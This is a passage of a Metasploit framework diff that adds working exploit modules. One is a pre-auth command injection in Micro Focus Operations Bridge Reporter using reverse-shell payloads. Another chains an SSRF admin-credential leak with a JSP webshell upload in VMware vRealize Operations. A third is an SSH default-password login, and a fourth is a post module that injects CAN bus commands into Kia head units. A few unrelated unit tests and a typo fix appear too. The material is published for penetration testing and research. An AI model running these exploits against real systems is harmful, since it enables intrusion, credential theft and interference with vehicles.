ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability on *login* (yes, you read that right) + that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below. + It's a straight up command injection, with little escaping required and it works before + authentication. + This module has been tested on the Linux 10.40 version. Older versions might be affected, + check the advisory for details. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2021-22502'], + ['ZDI', '21-153'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'], + ['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, # This should be a safe value, it might take much more + 'DisableNops' => true, + # avoid null char and the injection char (`) + 'BadChars' => "\x00\x60", + 'Compat' => + { + 'PayloadType' => 'cmd', + # all of these (and more) should exist in a standard RHEL / SuSE + # ... which are the only two distros supported by Micro Focus OBR + # (telnet doesn't seem to work though) + # + # all reverse shells were tested and work flawlessly + 'RequiredCmd' => 'netcat openssl generic python' + } + }, + 'Targets' => + [ + [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2021-02-09' + ) + ) + + register_options( + [ + # normal (no SSL) port is 21411 + Opt::RPORT(21412), + OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), + OptString.new('TARGETURI', [true, 'Application path', '/']) + ] + ) + end + + def check + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => rand_text_alpha(10..64) + }, 10) + + if res && res.code == 400 && res.body.include?('Unrecognized token') + # should return a stack trace like + # Unrecognized token '#{data}': was expecting ('true', 'false' or 'null') + # at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...) + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Unknown + end + + def exploit + # if there are any 0x22 (") chars in the encoded payload, escape them with a backslash + # we have to do this manually, the encoder is not smart enough to do it, and it will + # fail if we put 0x22 as a bad char above + payload_enc = payload.encoded.gsub('"', '\\"') + + # we use 0x60 (`) for injection, but there are lots of other possibilities + data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#{rand_text_alpha(8..20)}\"}" + + send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => data + }, 0) + + # it's tricky to check the return value of the request here + # - it might hang (no return) and give us a shell + # - it might return 400 or 500 and give us a shell + # - it might return 400 or 500 and give us nothing + # so ignore it altogether and hope for the best + print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!") + end +end diff --git a/modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb b/modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb new file mode 100644 index 000000000000..134eda94ed1b --- /dev/null +++ b/modules/exploits/linux/http/vmware_vrops_mgr_ssrf_rce.rb @@ -0,0 +1,204 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE', + 'Description' => %q{ + This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth + file write (CVE-2021-21983) in VMware vRealize Operations Manager to + leak admin creds and write/execute a JSP payload. + + CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and + CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate + endpoint. Code execution occurs as the "admin" Unix user. + + The following vRealize Operations Manager versions are vulnerable: + + * 7.0.0 + * 7.5.0 + * 8.0.0, 8.0.1 + * 8.1.0, 8.1.1 + * 8.2.0 + * 8.3.0 + + Version 8.3.0 is not exploitable for creds and is therefore not + supported by this module. Tested against 8.0.1. + }, + 'Author' => [ + 'Egor Dimitrenko', # Discovery + 'wvu' # Analysis and exploit + ], + 'References' => [ + ['CVE', '2021-21975'], # SSRF + ['CVE', '2021-21983'], # File write + ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'], + ['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'], + ['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis'] + ], + 'DisclosureDate' => '2021-03-30', # Vendor advisory + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + ['vRealize Operations Manager < 8.3.0', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SRVPORT' => 8443, + 'SSL' => true, + 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ + IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs + ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa + ] + }, + 'Stance' => Stance::Aggressive + ) + ) + + register_options([ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'Base path', '/']) + ]) + end + + def setup + super + + @creds = nil + + print_status('Starting SSRF server...') + start_service + end + + def check + leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe + end + + def exploit + return unless (@creds ||= leak_admin_creds) + + write_jsp_payload + execute_jsp_payload + end + + def leak_admin_creds + # "Comment out" trailing path using URI fragment syntax, ostensibly + ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#" + + print_status('Leaking admin creds via SSRF...') + vprint_status(ssrf_uri) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'), + 'ctype' => 'application/json', + 'data' => [ssrf_uri].to_json + ) + + unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri + print_error('Failed to send SSRF request') + return + end + + unless @creds + print_error('Failed to leak admin creds') + return + end + + print_good('Successfully leaked admin creds') + vprint_status("Authorization: #{@creds}") + + @creds + end + + def on_request_uri(cli, request) + print_status("#{cli.peerhost} connected to SSRF server!") + vprint_line(request.to_s) + + @creds ||= request.headers['Authorization'] + ensure + send_not_found(cli) + close_client(cli) + end + + def write_jsp_payload + jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}" + + print_status('Writing JSP payload') + vprint_status(jsp_path) + + multipart_form = Rex::MIME::Message.new + multipart_form.add_part( + "../../../../..#{jsp_path}", + nil, # Content-Type + nil, # Content-Transfer-Encoding + 'form-data; name="name"' + ) + multipart_form.add_part( + payload.encoded, + nil, # Content-Type + nil, # Content-Transfer-Encoding + %(form-data; name="file"; filename="#{jsp_filename}") + ) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'), + 'authorization' => @creds, + 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", + 'data' => multipart_form.to_s + ) + + unless res&.code == 200 + fail_with(Failure::NotVulnerable, 'Failed to write JSP payload') + end + + register_file_for_cleanup(jsp_path) + + print_good('Successfully wrote JSP payload') + end + + def execute_jsp_payload + jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename) + + print_status('Executing JSP payload') + vprint_status(full_uri(jsp_uri)) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => jsp_uri, + 'authorization' => @creds + ) + + unless res&.code == 200 + fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload') + end + + print_good('Successfully executed JSP payload') + end + + def jsp_filename + @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" + end + +end diff --git a/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb b/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb new file mode 100644 index 000000000000..f8e031e70727 --- /dev/null +++ b/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'net/ssh' +require 'net/ssh/command_stream' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SSH + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password', + 'Description' => %q{ + This module abuses a known default password on Micro Focus Operations Bridge Reporter. + The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin', + and allows an attacker to login to the server via SSH. + This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier + versions are most likely affected too. + Note that this is only exploitable in Linux installations. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2020-11857' ], + [ 'ZDI', '20-1215' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ], + [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ], + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2020-09-21' + ) + ) + + register_options( + [ + Opt::RPORT(22), + OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']), + OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']), + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def do_login(user, pass) + factory = ssh_socket_factory + opts = { + auth_methods: ['password', 'keyboard-interactive'], + port: rport, + use_agent: false, + config: false, + password: pass, + proxy: factory, + non_interactive: true, + verify_host_key: :never + } + + opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, user, opts) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + conn = Net::SSH::CommandStream.new(ssh) + ssh = nil + return conn + end + + return nil + end + + def exploit + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("#{rhost}:#{rport} - Attempt to login to the server...") + conn = do_login(user, pass) + if conn + print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") + handler(conn.lsock) + end + end +end diff --git a/modules/exploits/multi/misc/osgi_console_exec.rb b/modules/exploits/multi/misc/osgi_console_exec.rb index 2b5ad884a30f..efd7a2ddb421 100644 --- a/modules/exploits/multi/misc/osgi_console_exec.rb +++ b/modules/exploits/multi/misc/osgi_console_exec.rb @@ -15,10 +15,10 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Eclipse Equinoxe OSGi Console Command Execution', + 'Name' => 'Eclipse Equinox OSGi Console Command Execution', 'Description' => %q{ - Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console - 'fork' command to execute arbitrary commands on the remote system.. + Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console + 'fork' command to execute arbitrary commands on the remote system. }, 'Author' => [ diff --git a/modules/post/android/local/koffee.rb b/modules/post/android/local/koffee.rb new file mode 100644 index 000000000000..e9c15cfc0e3f --- /dev/null +++ b/modules/post/android/local/koffee.rb @@ -0,0 +1,253 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'KOFFEE - Kia OFFensivE Exploit', + 'Description' => %q{ + This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to + attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on + SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an + active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head + unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle. + }, + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'Gianpiero Costantino', + 'Ilaria Matteucci' + ], + 'References' => + [ + ['CVE', '2020-8539'], + ['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf'] + ], + 'Actions' => [ + [ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ], + [ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ], + [ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ], + [ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ], + [ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ], + [ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ], + [ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ], + [ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ], + [ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ], + [ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ], + [ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ], + [ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ], + [ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ], + [ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ], + [ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ], + [ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ], + [ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ], + [ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ], + [ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ], + [ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ] + ], + 'DefaultAction' => 'TOGGLE_RADIO_MUTE', + 'Platform' => 'Android', + 'DisclosureDate' => '2020-12-02', + 'License' => MSF_LICENSE + ) + ) + register_options([ + OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']), + OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']), + OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']), + OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g., cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]), + ]) + end + + def send_in(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}" + cmd_exec(cmd) + print_good(' -- Command Sent -- ') + end + + def send_out(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}" + cmd_exec(cmd) + print_good(' -- Command Sent -- ') + end + + def send_custom(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}" + var = 0 + while var < datastore['NUM_MSG'].to_s.to_i + cmd_exec(cmd) + var += 1 + print_status("> Sending #{var} out of #{datastore['NUM_MSG']}") + sleep(datastore['PERIOD'].to_s.to_f) + end + print_good(' -- Custom payload Sent-- ') + end + + def send_out_custom(m_cmd) + cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}" + var = 0 + while var < datastore['Num_msg'].to_s.to_i + cmd_exec(cmd) + var += 1 + print_status("> Sending #{var} out of #{datastore['NUM_MSG']}") + sleep(datastore['PERIOD'].to_s.to_f) + end + print_good(' -- CAN bus frames sent-- ') + end + + def run + # all conditional options are required when active, make sure none of them are blank + options.each_pair do |name, option| + next if option.conditions.empty? + next unless Msf::OptCondition.show_option(self, option) + + fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank? + end + print_status(' -- Starting action -- ') + send("action_#{action.name.downcase}") + end + + def action_toggle_radio_mute + print_status(' -- Mute/umute radio -- ') + send_in('8351 04') + end + + def action_reduce_radio_volume + print_status(' -- Reduce radio volume -- ') + send_out('0112 F4 01') + end + + def action_max_radio_volume + print_status(' -- Max radio volume -- ') + send_out('0112 F0') + end + + def action_low_screen_brightness + print_status(' -- Low screen brightness -- ') + send_in('8353 07 01') + end + + def action_high_screen_brightness + print_status(' -- High screen brightness -- ') + send_in('8353 07 00') + end + + def action_low_fuel_warning + print_status(' -- Low fuel warning -- ') + send_in('8353 0B 01') + end + + def action_navigation_full_screen + print_status(' -- Navigation windows full screen -- ') + send_in('8353 0C 01') + end + + def action_set_navigation_address + print_status(' -- Navigation address window pops up -- ') + send_in('8353 0D 03') + end + + def action_seek_down_search + print_status(' -- Seek down radio search -- ') + send_out('133 01') + end + + def action_seek_up_search + print_status(' -- Seek up radio search -- ') + send_out('133 02') + end + + def action_switch_on_hu + print_status(' -- Switch on Head unit -- ') + send_out('170 01') + end + + def action_switch_off_hu + print_status(' -- Switch off Head unit -- ') + send_out('170 00') + end + + def action_camera_reverse_on + print_status(' -- Parking camera video stream on -- ') + send_in('8353 03 01') + end + + def action_camera_reverse_off + print_status(' -- Parking camera video stream off -- ') + send_in('8353 03 00') + end + + def action_cluster_change_language + print_status(' -- Korean -- ') + send_out_custom('4D3 01') + print_status(' -- Arabic -- ') + send_out_custom('4D3 08') + print_status(' -- Polish -- ') + send_out_custom('4D3 0E') + print_status(' -- Italian -- ') + send_out_custom('4D3 12') + end + + def action_cluster_speed_limit + print_status(' -- Chaning speed limit on the instrument cluster -- ') + send_out_custom('4DB 00 0A') + send_out_custom('4DB 00 2A') + send_out_custom('4DB 00 3A') + send_out_custom('4DB 00 5A') + send_out_custom('4DB 00 7A') + send_out_custom('4DB 00 9A') + send_out_custom('4DB 00 AA') + send_out_custom('4DB 00 BA') + end + + def action_cluster_roundabout_faraway + print_status(' -- km -- ') + send_out_custom('4D1 66 00 00 00 14 86 10 00') + print_status(' -- mi -- ') + send_out_custom('4D1 66 00 00 00 14 86 20 00') + print_status(' -- ft -- ') + send_out_custom('4D1 66 00 00 00 14 86 30 00') + print_status(' -- yd -- ') + send_out_custom('4D1 66 00 00 00 14 86 40 00') + print_status(' -- No distance -- ') + send_out_custom('4D1 66 00 00 00 14 86 50 00') + end + + def action_cluster_random_navigation + print_status(' -- Calculating the route -- ') + send_out_custom('4D1 09') + print_status(' -- Recalculating the route -- ') + send_out_custom('4D1 0A') + print_status(' -- Straight ahead -- ') + send_out_custom('4D1 0D') + print_status(' -- Exit on the Right -- ') + send_out_custom('4D1 13') + print_status(' -- Exit on the Left -- ') + send_out_custom('4D1 14') + end + + def action_cluster_radio_info + print_status(' -- USB Music -- ') + send_out_custom('4D6 65') + print_status(' -- Android Auto -- ') + send_out_custom('4D6 6F') + print_status(' -- FM 168.17 -- ') + send_out_custom('4D6 11 9D 00 00 00 00 5F 83') + print_status(' -- FM1 168.17 -- ') + send_out_custom('4D6 12 9D 00 00 00 00 5F 83') + print_status(' -- FM2 168.17 -- ') + send_out_custom('4D6 13 9D 00 00 00 00 5F 83') + end + + def action_inject_custom + print_status(" -- Injecting custom payload (#{datastore['CMD_PAYLOAD']}) -- ") + send_custom(datastore['CMD_PAYLOAD']) + end +end diff --git a/spec/lib/msf/core/auxiliary/redis_spec.rb b/spec/lib/msf/core/auxiliary/redis_spec.rb new file mode 100644 index 000000000000..4f7e5d9392bb --- /dev/null +++ b/spec/lib/msf/core/auxiliary/redis_spec.rb @@ -0,0 +1,35 @@ +require 'spec_helper' + +RSpec.describe Msf::Auxiliary::Redis do + subject do + mod = Msf::Module.new + mod.extend(Msf::Auxiliary::Redis) + mod + end + + describe '.parse_redis_response' do + context "given a simple string" do + it "returns that string" do + expect(subject.parse_redis_response("+test")).to eql("test") + end + end + + context "given a bulk string" do + it "returns that string" do + expect(subject.parse_redis_response("$10\r\ntest\r\ntest\r\nother junk")).to eql("test\r\ntest") + end + end + + context "given an array" do + it "correctly parses it" do + expect(subject.parse_redis_response("*3\r\n$3\r\nOne\r\n+Two\r\n$5\r\nThree")).to eql(["One","Two","Three"]) + end + end + + context "given a nested array" do + it "correctly parses it" do + expect(subject.parse_redis_response("*2\r\n$1\r\n0\r\n*1\r\n$4\r\ntest\r\njunk")).to eql(["0",["test"]]) + end + end + end +end diff --git a/spec/lib/msf/ui/text/dispatcher_shell_spec.rb b/spec/lib/msf/ui/text/dispatcher_shell_spec.rb new file mode 100644 index 000000000000..8f38a8311c32 --- /dev/null +++ b/spec/lib/msf/ui/text/dispatcher_shell_spec.rb @@ -0,0 +1,32 @@ +require 'spec_helper' + +RSpec.describe Rex::Ui::Text::DispatcherShell do + let(:prompt) { "%undmsf6%clr" } + let(:prompt_char) { "%clr>" } + let(:subject) do + dummy_class = Class.new + dummy_class.include described_class + dummy_class.new(prompt, prompt_char) + end + + # Tests added to verify regex correctly returns correct values in various situations + describe '#shellsplitex' do + [ + { input: "dir", expected: { quote: nil, words: ["dir"] } }, + { input: "dir \"/\"", expected: {:quote=>nil, :words=>["dir", "/"]} }, + { input: "dir \"/", expected: {:quote=>"\"", :words=>["dir", "/"]} }, + { input: "dir \"/Program", expected: {:quote=>"\"", :words=>["dir", "/Program"]} }, + { input: "dir \"/Program/", expected: {:quote=>"\"", :words=>["dir", "/Program/"]} }, + { input: "dir C:\\Pro", expected: {:quote=>nil, :words=>["dir", "C:\\Pro"]} }, + { input: "dir \"C:\\Pro\"", expected: {:quote=>nil, :words=>["dir", "C:\\Pro"]} }, + { input: "dir 'C:\\Pro'", expected: {:quote=>nil, :words=>["dir", "C:\\Pro"]} }, + { input: "dir 'C:\\ProgramData\\jim\\bob.rb'", expected: {:quote=>nil, :words=>["dir", "C:\\ProgramData\\jim\\bob.rb"]} }, + { input: "dir 'C:\\ProgramData\\jim\\'", expected: {:quote=>nil, :words=>["dir", "C:\\ProgramData\\jim\\"]} }, + { input: "dir \"C:\\Pro", expected: { quote: "\"", words: ["dir", "C:\\Pro"] } }, + { input: "dir \"C: \\Pro", expected: { quote: "\"", words: ["dir", "C: \\Pro"] } }, + { input: "dir \"C:\\Program F", expected: { quote: "\"", words: ["dir", "C:\\Program F"] } } + ].each do |test| + it { expect(subject.shellsplitex(test[:input])).to eql(test[:expected]) } + end + end +end